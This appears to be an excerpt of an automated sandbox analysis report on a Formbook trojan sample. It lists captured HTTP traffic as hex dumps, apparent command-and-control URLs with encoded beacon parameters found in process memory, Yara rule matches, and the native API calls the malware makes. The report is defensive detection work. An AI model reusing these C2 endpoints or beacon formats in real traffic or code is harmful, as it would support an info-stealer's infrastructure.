09 fc 60 69 76 4a 7e d5 60 ed 82 fc c2 0c 37 67 9d b2 eb e0 4c 70 79 41 34 88 c9 61 28 8d 83 8f c0 06 c9 21 49 f0 6d 72 d8 e9 a4 2a 4d 17 a9 0a c1 33 dc 56 13 d7 3d 0d 26 2c 68 c9 2c 34 88 5d 64 a8 00 cb 32 c1 03 66 b9 92 1d 6d cc 37 97 a9 c0 2b 37 6b d2 d8 c1 85 7c a5 d9 3f 73 75 4a 7e 04 08 1b e5 e0 46 62 6d 66 fc ed f1 9d 08 4b 3a 8d e7 24 f1 1d 0e 44 cd cd 7d d8 04 55 ed 26 2d 13 68 9e d9 f3 83 39 97 a1 9a 7b 1f e6 19 a4 ea 23 7f 87 a3 b8 8c 0d 99 90 65 63 ca 0c fc a1 45 c3 af 80 df 77 de 77 8c 37 f7 94 8e df 77 0a 9f cd 7b 04 d7 f0 be 53 34 bf ef f4 46 5e d7 1b bc ef 1c f5 2f 8f fa ef 3b 8d 76 03 2e 2d f6 7b 99 8c f1 c3 cc e2 87 e1 61 63 81 86 cf 1f 4a 40 7c 73 df 2a d7 01 34 fc 65 03 33 88 4a 16 6d 15 7e 01 7f 53 89 f7 9d 79 46 b9 0c 44 1e ba 51 1f 4d 71 50 34 51 b4 08 70 5f 2f e5 d2 fb 68 be 9d 81 9e 8c bd b1 d7 6f 5c 5d 9d 1e 74 be 7e 43 7e 4f 50 fe 88 0b 20 f8 64 b9 55 34 06 09 1a 87 86 e4 eb ce c1 9b 28 97 81 b3 b2 c9 db b2 b5 9c 31 4d 54 db b4 e1 74 75 4e 82 26 b4 96 56 2f 8a 3b 3b 59 9a 3c cb 94 b6 bf 83 b1 c6 87 b6 e5 29 be a1 e3 7e 53 c2 9c 7c 8f c0 2d 6f c6 44 0e bf 44 cd d6 d5 a9 01 63 10 e6 9d 55 1a 95 f2 0c d8 9f 70 df a6 6a ff c7 bb 5f fe e1 19 ab d1 37 1e 2d 9a b6 d5 ba 42 29 82 c4 8d bb ba 5a 8f cf 9a 38 c3 51 03 2f c0 55 f5 6f 10 d8 66 b7 dd 6d e3 37 93 33 86 4e f0 d0 26 d7 9f 09 f0 38 b1 2d 3c c0 ad c5 ef e8 64 d3 62 79 b7 75 5a 2e e0 58 fe c1 a5 1d f4 ff 5d 6b b6 68 82 17 23 27 67 23 72 67 f7 81 f6 42 2c 6c b5 f5 a4 f9 Data Ascii: r-zjv"mx$Hg/xb{gb(Z)6GS_G(PTTe\:{/@3 xIxpg/R?o$KaqgJ rCLBh&\r&`&gPprKS4!`:r+W%RY\^M`ivJ~`7gLpyA4a(!ImrM3V
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:21:57 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://mommymode.site/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gziphost-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==X-Newfold-Cache-Level: 2X-Endurance-Cache-Level: 2X-nginx-cache: WordPressContent-Length: 12947Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 cd b2 eb 72 e3 c6 92 2d fc db 7a 8a 6a 76 d8 22 6d 16 78 a7 24 48 94 67 b6 2f e7 78 62 7b db e1 b6 67 62 c2 ed e8 28 02 09 a0 5a 85 2a ec aa 02 29 36 47 bf ce 53 9c 5f e7 15 bf 47 f8 b2 00 90 a2 28 50 54 eb ba db 16 01 54 65 ae 5c b9 d6 3a 7b f3 fd 2f df fd fe df bf fe 40 12 9b 8a f3 83 33 f7 20 82 c9 78 d2 00 49 ff 78 d7 70 67 c0 c2 f3 83 2f ce 52 b0 8c 04 09 d3 06 ec a4 f1 c7 ef 3f d2 e3 06 e9 ac 6f 24 4b 61 d2 98 71 98 67 4a db 06 09 94 b4 20 b1 72 ce 43 9b 4c 42 98 f1 00 68 f1 d1 26 5c 72 cb 99 a0 26 60 02 26 bd 02 67 03 e6 50 ab a9 b2 e6 70 0d 72 98 b2 4b ca 53 16 03 cd 34 b8 21 be 60 3a 86 c3 a2 d1 72 2b e0 fc 57 bc 25 52 59 12 a9 5c 86 e4 ab b7 c7 fd 5e ef 94 fc 4d 09 fc 60 69 76 4a 7e d5 60 ed 82 fc c2 0c 37 67 9d b2 eb e0 4c 70 79 41 34 88 c9 61 28 8d 83 8f c0 06 c9 21 49 f0 6d 72 d8 e9 a4 2a 4d 17 a9 0a c1 33 dc 56 13 d7 3d 0d 26 2c 68 c9 2c 34 88 5d 64 a8 00 cb 32 c1 03 66 b9 92 1d 6d cc 37 97 a9 c0 2b 37 6b d2 d8 c1 85 7c a5 d9 3f 73 75 4a 7e 04 08 1b e5 e0 46 62 6d 66 fc ed f1 9d 08 4b 3a 8d e7 24 f1 1d 0e 44 cd cd 7d d8 04 55 ed 26 2d 13 68 9e d9 f3 83 39 97 a1 9a 7b 1f e6 19 a4 ea 23 7f 87 a3 b8 8c 0d 99 90 65 63 ca 0c fc a1 45 c3 af 80 df 77 de 77 8c 37 f7 94 8e df 77 0a 9f cd 7b 04 d7 f0 be 53 34 bf ef f4 46 5e d7 1b bc ef 1c f5 2f 8f fa ef 3b 8d 76 03 2e 2d f6 7b 99 8c f1 c3 cc e2 87 e1 61 63 81 86 cf 1f 4a 40 7c 73 df 2a d7 01 34 fc 65 03 33 88 4a 16 6d 15 7e 01 7f 53 89 f7 9d 79 46 b9 0c 44 1e ba 51 1f 4d 71 50 34 51 b4 08 70 5f 2f e5 d2 fb 68 be 9d 81 9e 8c bd b1 d7 6f 5c 5d 9d 1e 74 be 7e 43 7e 4f 50 fe 88 0b 20 f8 64 b9 55 34 06 09 1a 87 86 e4 eb ce c1 9b 28 97 81 b3 b2 c9 db b2 b5 9c 31 4d 54 db b4 e1 74 75 4e 82 26 b4 96 56 2f 8a 3b 3b 59 9a 3c cb 94 b6 bf 83 b1 c6 87 b6 e5 29 be a1 e3 7e 53 c2 9c 7c 8f c0 2d 6f c6 44 0e bf 44 cd d6 d5 a9 01 63 10 e6 9d 55 1a 95 f2 0c d8 9f 70 df a6 6a ff c7 bb 5f fe e1 19 ab d1 37 1e 2d 9a b6 d5 ba 42 29 82 c4 8d bb ba 5a 8f cf 9a 38 c3 51 03 2f c0 55 f5 6f 10 d8 66 b7 dd 6d e3 37 93 33 86 4e f0 d0 26 d7 9f 09 f0 38 b1 2d 3c c0 ad c5 ef e8 64 d3 62 79 b7 75 5a 2e e0 58 fe c1 a5 1d f4 ff 5d 6b b6 68 82 17 23 27 67 23 72 67 f7 81 f6 42 2c 6c b5 f5 a4 f9 Data Ascii: r-zjv"mx$Hg/xb{gb(Z)6GS_G(PTTe\:{/@3 xIxpg/R?o$KaqgJ rCLBh&\r&`&gPprKS4!`:r+W%RY\^M`ivJ~`7gLpyA4a(!ImrM3V
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:21:59 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://mommymode.site/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gziphost-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==X-Newfold-Cache-Level: 2X-Endurance-Cache-Level: 2X-nginx-cache: WordPressContent-Length: 12947Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 cd b2 eb 72 e3 c6 92 2d fc db 7a 8a 6a 76 d8 22 6d 16 78 a7 24 48 94 67 b6 2f e7 78 62 7b db e1 b6 67 62 c2 ed e8 28 02 09 a0 5a 85 2a ec aa 02 29 36 47 bf ce 53 9c 5f e7 15 bf 47 f8 b2 00 90 a2 28 50 54 eb ba db 16 01 54 65 ae 5c b9 d6 3a 7b f3 fd 2f df fd fe df bf fe 40 12 9b 8a f3 83 33 f7 20 82 c9 78 d2 00 49 ff 78 d7 70 67 c0 c2 f3 83 2f ce 52 b0 8c 04 09 d3 06 ec a4 f1 c7 ef 3f d2 e3 06 e9 ac 6f 24 4b 61 d2 98 71 98 67 4a db 06 09 94 b4 20 b1 72 ce 43 9b 4c 42 98 f1 00 68 f1 d1 26 5c 72 cb 99 a0 26 60 02 26 bd 02 67 03 e6 50 ab a9 b2 e6 70 0d 72 98 b2 4b ca 53 16 03 cd 34 b8 21 be 60 3a 86 c3 a2 d1 72 2b e0 fc 57 bc 25 52 59 12 a9 5c 86 e4 ab b7 c7 fd 5e ef 94 fc 4d 09 fc 60 69 76 4a 7e d5 60 ed 82 fc c2 0c 37 67 9d b2 eb e0 4c 70 79 41 34 88 c9 61 28 8d 83 8f c0 06 c9 21 49 f0 6d 72 d8 e9 a4 2a 4d 17 a9 0a c1 33 dc 56 13 d7 3d 0d 26 2c 68 c9 2c 34 88 5d 64 a8 00 cb 32 c1 03 66 b9 92 1d 6d cc 37 97 a9 c0 2b 37 6b d2 d8 c1 85 7c a5 d9 3f 73 75 4a 7e 04 08 1b e5 e0 46 62 6d 66 fc ed f1 9d 08 4b 3a 8d e7 24 f1 1d 0e 44 cd cd 7d d8 04 55 ed 26 2d 13 68 9e d9 f3 83 39 97 a1 9a 7b 1f e6 19 a4 ea 23 7f 87 a3 b8 8c 0d 99 90 65 63 ca 0c fc a1 45 c3 af 80 df 77 de 77 8c 37 f7 94 8e df 77 0a 9f cd 7b 04 d7 f0 be 53 34 bf ef f4 46 5e d7 1b bc ef 1c f5 2f 8f fa ef 3b 8d 76 03 2e 2d f6 7b 99 8c f1 c3 cc e2 87 e1 61 63 81 86 cf 1f 4a 40 7c 73 df 2a d7 01 34 fc 65 03 33 88 4a 16 6d 15 7e 01 7f 53 89 f7 9d 79 46 b9 0c 44 1e ba 51 1f 4d 71 50 34 51 b4 08 70 5f 2f e5 d2 fb 68 be 9d 81 9e 8c bd b1 d7 6f 5c 5d 9d 1e 74 be 7e 43 7e 4f 50 fe 88 0b 20 f8 64 b9 55 34 06 09 1a 87 86 e4 eb ce c1 9b 28 97 81 b3 b2 c9 db b2 b5 9c 31 4d 54 db b4 e1 74 75 4e 82 26 b4 96 56 2f 8a 3b 3b 59 9a 3c cb 94 b6 bf 83 b1 c6 87 b6 e5 29 be a1 e3 7e 53 c2 9c 7c 8f c0 2d 6f c6 44 0e bf 44 cd d6 d5 a9 01 63 10 e6 9d 55 1a 95 f2 0c d8 9f 70 df a6 6a ff c7 bb 5f fe e1 19 ab d1 37 1e 2d 9a b6 d5 ba 42 29 82 c4 8d bb ba 5a 8f cf 9a 38 c3 51 03 2f c0 55 f5 6f 10 d8 66 b7 dd 6d e3 37 93 33 86 4e f0 d0 26 d7 9f 09 f0 38 b1 2d 3c c0 ad c5 ef e8 64 d3 62 79 b7 75 5a 2e e0 58 fe c1 a5 1d f4 ff 5d 6b b6 68 82 17 23 27 67 23 72 67 f7 81 f6 42 2c 6c b5 f5 a4 f9 Data Ascii: r-zjv"mx$Hg/xb{gb(Z)6GS_G(PTTe\:{/@3 xIxpg/R?o$KaqgJ rCLBh&\r&`&gPprKS4!`:r+W%RY\^M`ivJ~`7gLpyA4a(!ImrM3V

Source: RmClient.exe, 00000006.00000002.4131092895.0000000004CDC000.00000004.10000000.00040000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000007.00000002.4130492087.00000000042AC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://mommymode.site/hya5/?rf-LZ=JlCtuN3HqPO8C&AHkx=kBImd3s/QyLjHyq7crISF49n
Source: RmClient.exe, 00000006.00000002.4131092895.00000000041DE000.00000004.10000000.00040000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000007.00000002.4130492087.00000000037AE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://nakama2-sshl.xyz/ui3j/?AHkx=Ezegw1wupX22aLPnmkEV6IMUn2bdHQLdsNrfcd
Source: RmClient.exe, 00000006.00000002.4131092895.0000000003A04000.00000004.10000000.00040000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000007.00000002.4130492087.0000000002FD4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2262378691.000000003C114000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://newdaydawning.net/7mju/?rf-LZ=JlCtuN3HqPO8C&AHkx=n/a1XNlERIMSMkzd8Qa3NcaSwh7bqsusoFUi8ENskqLM
Source: ifhdPMDeORMlb.exe, 00000007.00000002.4132186238.0000000005091000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.polarmuseum.info
Source: ifhdPMDeORMlb.exe, 00000007.00000002.4132186238.0000000005091000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.polarmuseum.info/nuqv/
Source: RmClient.exe, 00000006.00000002.4132961657.000000000788E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RmClient.exe, 00000006.00000002.4132961657.000000000788E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RmClient.exe, 00000006.00000002.4132961657.000000000788E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RmClient.exe, 00000006.00000002.4132961657.000000000788E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RmClient.exe, 00000006.00000002.4132961657.000000000788E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RmClient.exe, 00000006.00000002.4132961657.000000000788E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RmClient.exe, 00000006.00000002.4132961657.000000000788E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RmClient.exe, 00000006.00000002.4131092895.0000000003D28000.00000004.10000000.00040000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000007.00000002.4130492087.00000000032F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Open
Source: RmClient.exe, 00000006.00000002.4129491056.0000000000B4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: RmClient.exe, 00000006.00000002.4129491056.0000000000B4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: RmClient.exe, 00000006.00000002.4129491056.0000000000B4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: RmClient.exe, 00000006.00000002.4129491056.0000000000B4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: RmClient.exe, 00000006.00000002.4129491056.0000000000B4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: RmClient.exe, 00000006.00000002.4129491056.0000000000B4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: RmClient.exe, 00000006.00000003.2148482181.0000000007869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: RmClient.exe, 00000006.00000002.4132961657.000000000788E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: RmClient.exe, 00000006.00000002.4132858063.0000000005E40000.00000004.00000800.00020000.00000000.sdmp, RmClient.exe, 00000006.00000002.4131092895.0000000004E6E000.00000004.10000000.00040000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000007.00000002.4130492087.000000000443E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 1.2.svchost.exe.2660000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.2660000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1964041630.0000000002ED0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1963743549.0000000002660000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4129418415.0000000000AD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4129085858.0000000000520000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4130342799.0000000000C20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4130314463.0000000002680000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1964459528.0000000003600000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 1.2.svchost.exe.2660000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 1.2.svchost.exe.2660000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.1964041630.0000000002ED0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.1963743549.0000000002660000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.4129418415.0000000000AD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.4129085858.0000000000520000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.4130342799.0000000000C20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.4130314463.0000000002680000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.1964459528.0000000003600000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0268C433 NtClose,	1_2_0268C433
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030735C0 NtCreateMutant,LdrInitializeThunk,	1_2_030735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072B60 NtClose,LdrInitializeThunk,	1_2_03072B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072DF0 NtQuerySystemInformation,LdrInitializeThunk,	1_2_03072DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072C70 NtFreeVirtualMemory,LdrInitializeThunk,	1_2_03072C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03074340 NtSetContextThread,	1_2_03074340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03073010 NtOpenDirectoryObject,	1_2_03073010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03073090 NtSetValueKey,	1_2_03073090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03074650 NtSuspendThread,	1_2_03074650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072B80 NtQueryInformationFile,	1_2_03072B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072BA0 NtEnumerateValueKey,	1_2_03072BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072BE0 NtQueryValueKey,	1_2_03072BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072BF0 NtAllocateVirtualMemory,	1_2_03072BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072AB0 NtWaitForSingleObject,	1_2_03072AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072AD0 NtReadFile,	1_2_03072AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072AF0 NtWriteFile,	1_2_03072AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030739B0 NtGetContextThread,	1_2_030739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072F30 NtCreateSection,	1_2_03072F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072F60 NtCreateProcessEx,	1_2_03072F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072F90 NtProtectVirtualMemory,	1_2_03072F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072FA0 NtQuerySection,	1_2_03072FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072FB0 NtResumeThread,	1_2_03072FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072FE0 NtCreateFile,	1_2_03072FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072E30 NtWriteVirtualMemory,	1_2_03072E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072E80 NtReadVirtualMemory,	1_2_03072E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072EA0 NtAdjustPrivilegesToken,	1_2_03072EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072EE0 NtQueueApcThread,	1_2_03072EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072D00 NtSetInformationFile,	1_2_03072D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072D10 NtMapViewOfSection,	1_2_03072D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03073D10 NtOpenProcessToken,	1_2_03073D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072D30 NtUnmapViewOfSection,	1_2_03072D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03073D70 NtOpenThread,	1_2_03073D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072DB0 NtEnumerateKey,	1_2_03072DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072DD0 NtDelayExecution,	1_2_03072DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072C00 NtQueryInformationProcess,	1_2_03072C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072C60 NtCreateKey,	1_2_03072C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072CA0 NtQueryInformationToken,	1_2_03072CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072CC0 NtQueryVirtualMemory,	1_2_03072CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072CF0 NtOpenProcess,	1_2_03072CF0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03064340 NtSetContextThread,LdrInitializeThunk,	6_2_03064340
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03064650 NtSuspendThread,LdrInitializeThunk,	6_2_03064650
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030635C0 NtCreateMutant,LdrInitializeThunk,	6_2_030635C0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062B60 NtClose,LdrInitializeThunk,	6_2_03062B60
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062BA0 NtEnumerateValueKey,LdrInitializeThunk,	6_2_03062BA0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062BE0 NtQueryValueKey,LdrInitializeThunk,	6_2_03062BE0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	6_2_03062BF0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062AD0 NtReadFile,LdrInitializeThunk,	6_2_03062AD0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062AF0 NtWriteFile,LdrInitializeThunk,	6_2_03062AF0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030639B0 NtGetContextThread,LdrInitializeThunk,	6_2_030639B0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062F30 NtCreateSection,LdrInitializeThunk,	6_2_03062F30
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062FB0 NtResumeThread,LdrInitializeThunk,	6_2_03062FB0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062FE0 NtCreateFile,LdrInitializeThunk,	6_2_03062FE0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062E80 NtReadVirtualMemory,LdrInitializeThunk,	6_2_03062E80
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062EE0 NtQueueApcThread,LdrInitializeThunk,	6_2_03062EE0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062D10 NtMapViewOfSection,LdrInitializeThunk,	6_2_03062D10
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062D30 NtUnmapViewOfSection,LdrInitializeThunk,	6_2_03062D30
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062DD0 NtDelayExecution,LdrInitializeThunk,	6_2_03062DD0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062DF0 NtQuerySystemInformation,LdrInitializeThunk,	6_2_03062DF0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062C60 NtCreateKey,LdrInitializeThunk,	6_2_03062C60
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062C70 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_03062C70
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062CA0 NtQueryInformationToken,LdrInitializeThunk,	6_2_03062CA0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03063010 NtOpenDirectoryObject,	6_2_03063010
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03063090 NtSetValueKey,	6_2_03063090
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062B80 NtQueryInformationFile,	6_2_03062B80
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062AB0 NtWaitForSingleObject,	6_2_03062AB0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062F60 NtCreateProcessEx,	6_2_03062F60
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062F90 NtProtectVirtualMemory,	6_2_03062F90
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062FA0 NtQuerySection,	6_2_03062FA0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062E30 NtWriteVirtualMemory,	6_2_03062E30
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062EA0 NtAdjustPrivilegesToken,	6_2_03062EA0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062D00 NtSetInformationFile,	6_2_03062D00
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03063D10 NtOpenProcessToken,	6_2_03063D10
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03063D70 NtOpenThread,	6_2_03063D70
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062DB0 NtEnumerateKey,	6_2_03062DB0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062C00 NtQueryInformationProcess,	6_2_03062C00
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062CC0 NtQueryVirtualMemory,	6_2_03062CC0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_03062CF0 NtOpenProcess,	6_2_03062CF0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00549080 NtClose,	6_2_00549080
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_005491E0 NtAllocateVirtualMemory,	6_2_005491E0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00548D80 NtCreateFile,	6_2_00548D80
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00548EF0 NtReadFile,	6_2_00548EF0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00548FE0 NtDeleteFile,	6_2_00548FE0
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00D1F0E9 NtQueryInformationProcess,	6_2_00D1F0E9
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00D1FA38 NtSetContextThread,	6_2_00D1FA38

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_026783F3	1_2_026783F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02661220	1_2_02661220
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0268EA23	1_2_0268EA23
